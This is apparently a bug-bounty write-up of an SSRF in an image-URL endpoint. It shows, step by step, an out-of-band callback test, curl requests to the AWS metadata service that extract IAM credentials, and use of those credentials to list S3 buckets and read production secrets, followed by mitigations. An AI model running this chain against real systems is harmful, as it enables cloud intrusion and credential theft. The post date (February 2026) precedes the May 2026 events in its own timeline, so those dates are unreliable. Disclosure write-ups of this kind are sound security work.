[>_] Home [>_] Services [>_] Skills [>_] Certifications [>_] Experience [>_] Education [>_] Volunteering [>_] Projects [>_] Publications [>_] Writeups [>_] Contact
Bug Bounty Intermediate

$3,000 SSRF Bug: Pivoting from a Public Endpoint to Internal AWS Metadata

How a blind SSRF in an image-processing endpoint exposed internal AWS IAM credentials via the metadata service.

February 5, 2026 · 9–11 min read
AWS Bug Bounty P1 Critical SSRF

Overview

A $3,000 P1 SSRF vulnerability discovered on a private program. A blind SSRF in an image-processing endpoint allowed requests to the AWS EC2 metadata service, exposing IAM credentials with broad S3 and Lambda permissions.

Program: Private | Severity: P1 Critical | Bounty: $3,000

Discovery

The application allowed profile picture upload via URL:

POST /api/v2/profile/avatar HTTP/1.1
Host: redacted.com

{"avatar_url": "https://cdn.example.com/photo.jpg"}

Testing for SSRF

# Start OOB listener
interactsh-client -v

# Test with our callback server
curl -X POST https://redacted.com/api/v2/profile/avatar \
    -d '{"avatar_url": "http://YOUR_INTERACTSH_URL"}'

# interactsh received:
# [+] DNS interaction from: ec2-xx-xx-xx-xx.compute-1.amazonaws.com
# [+] HTTP GET request received — SSRF confirmed!

Exploiting AWS Metadata Service (IMDSv1)

# Access instance metadata
curl -X POST https://redacted.com/api/v2/profile/avatar \
    -d '{"avatar_url": "http://169.254.169.254/latest/meta-data/"}'
# Response (decoded from avatar): ami-id, hostname, iam/, instance-id...

# Get IAM role name
curl -X POST https://redacted.com/api/v2/profile/avatar \
    -d '{"avatar_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# app-production-role

# Extract credentials
curl -X POST https://redacted.com/api/v2/profile/avatar \
    -d '{"avatar_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/app-production-role"}'
# {
#   "AccessKeyId":     "ASIAXXXXXXXXXXX",
#   "SecretAccessKey": "wJalrXUtnFEMI/...",
#   "Token":           "IQoJb3JpZ2luX2Vj...",
#   "Expiration":      "2026-05-13T18:30:00Z"
# }

Impact

export AWS_ACCESS_KEY_ID="ASIAXXXXXXXXXXX"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/..."
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2Vj..."

aws sts get-caller-identity
# arn:aws:sts::123456789012:assumed-role/app-production-role/i-0abc123

aws s3 ls
# production-user-uploads
# production-db-backups     <-- database backups!
# production-configs        <-- contains secrets!

aws s3 cp s3://production-configs/app.env -
# DATABASE_URL=postgres://admin:REDACTED@prod-db.internal:5432/app
# STRIPE_SECRET_KEY=sk_live_REDACTED
# JWT_SECRET=REDACTED

Disclosure Timeline

Date Event
May 1, 2026 Vulnerability discovered and reported
May 2, 2026 Triaged as P1 Critical
May 5, 2026 IMDSv2 enforcement deployed (hotfix)
May 10, 2026 Full patch + credential rotation
May 13, 2026 $3,000 bounty awarded

Mitigation

# Enforce IMDSv2 (prevents unauthorized metadata access)
aws ec2 modify-instance-metadata-options \
    --instance-id i-0abc123 \
    --http-tokens required \
    --http-endpoint enabled

# Application-level: validate and block RFC-1918 + link-local ranges
# Reject 169.254.0.0/16, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16

Conclusion

This SSRF → AWS metadata → IAM credential exfiltration chain is one of the most impactful findings in cloud environments. Never allow server-side URL fetching without strict allowlist validation — especially in applications running on cloud infrastructure.